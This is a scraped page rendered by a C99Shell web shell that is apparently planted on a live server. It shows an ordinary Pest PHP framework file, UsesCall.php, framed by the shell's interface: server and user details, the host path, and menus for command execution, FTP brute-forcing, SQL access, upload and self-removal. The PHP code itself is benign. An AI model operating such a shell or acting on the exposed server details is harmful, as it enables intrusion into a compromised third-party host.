!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/PendingCalls/   drwxr-xr-x
Free 29.06 GB of 117.98 GB (24.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UsesCall.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\PendingCalls;

use 
Closure;
use 
NunoMaduro\Collision\Adapters\Phpunit\Printers\DefaultPrinter;
use 
Pest\TestSuite;

/**
 * @internal
 */
final class UsesCall
{
    
/**
     * Contains a global before each hook closure to be executed.
     *
     * Array indices here matter. They are mapped as follows:
     *
     * - `0` => `beforeAll`
     * - `1` => `beforeEach`
     * - `2` => `afterEach`
     * - `3` => `afterAll`
     *
     * @var array<int, Closure>
     */
    
private array $hooks = [];

    
/**
     * Holds the targets of the uses.
     *
     * @var array<int, string>
     */
    
private array $targets;

    
/**
     * Holds the groups of the uses.
     *
     * @var array<int, string>
     */
    
private array $groups = [];

    
/**
     * Creates a new Pending Call.
     *
     * @param  array<int, string>  $classAndTraits
     */
    
public function __construct(
        private readonly 
string $filename,
        private readonly array 
$classAndTraits
    
) {
        
$this->targets = [$filename];
    }

    public function 
compact(): self
    
{
        
DefaultPrinter::compact(true);

        return 
$this;
    }

    
/**
     * The directories or file where the
     * class or traits should be used.
     */
    
public function in(string ...$targets): void
    
{
        
$targets array_map(function (string $path): string {
            
$startChar DIRECTORY_SEPARATOR;

            if (
'\\' === DIRECTORY_SEPARATOR || preg_match('~\A[A-Z]:(?![^/\\\\])~i'$path) > 0) {
                
$path = (string) preg_replace_callback('~^(?P<drive>[a-z]+:\\\)~i', fn (array $match): string => strtolower($match['drive']), $path);

                
$startChar strtolower((string) preg_replace('~^([a-z]+:\\\).*$~i''$1'__DIR__));
            }

            return 
str_starts_with($path$startChar)
                ? 
$path
                
implode(DIRECTORY_SEPARATOR, [
                    
dirname($this->filename),
                    
$path,
                ]);
        }, 
$targets);

        
$this->targets array_reduce($targets, function (array $accumulatorstring $target): array {
            if ((
$matches glob($target)) !== false) {
                foreach (
$matches as $file) {
                    
$accumulator[] = (string) realpath($file);
                }
            }

            return 
$accumulator;
        }, []);
    }

    
/**
     * Sets the test group(s).
     */
    
public function group(string ...$groups): self
    
{
        
$this->groups array_values($groups);

        return 
$this;
    }

    
/**
     * Sets the global beforeAll test hook.
     */
    
public function beforeAll(Closure $hook): self
    
{
        
$this->hooks[0] = $hook;

        return 
$this;
    }

    
/**
     * Sets the global beforeEach test hook.
     */
    
public function beforeEach(Closure $hook): self
    
{
        
$this->hooks[1] = $hook;

        return 
$this;
    }

    
/**
     * Sets the global afterEach test hook.
     */
    
public function afterEach(Closure $hook): self
    
{
        
$this->hooks[2] = $hook;

        return 
$this;
    }

    
/**
     * Sets the global afterAll test hook.
     */
    
public function afterAll(Closure $hook): self
    
{
        
$this->hooks[3] = $hook;

        return 
$this;
    }

    
/**
     * Creates the Call.
     */
    
public function __destruct()
    {
        
TestSuite::getInstance()->tests->use(
            
$this->classAndTraits,
            
$this->groups,
            
$this->targets,
            
$this->hooks,
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--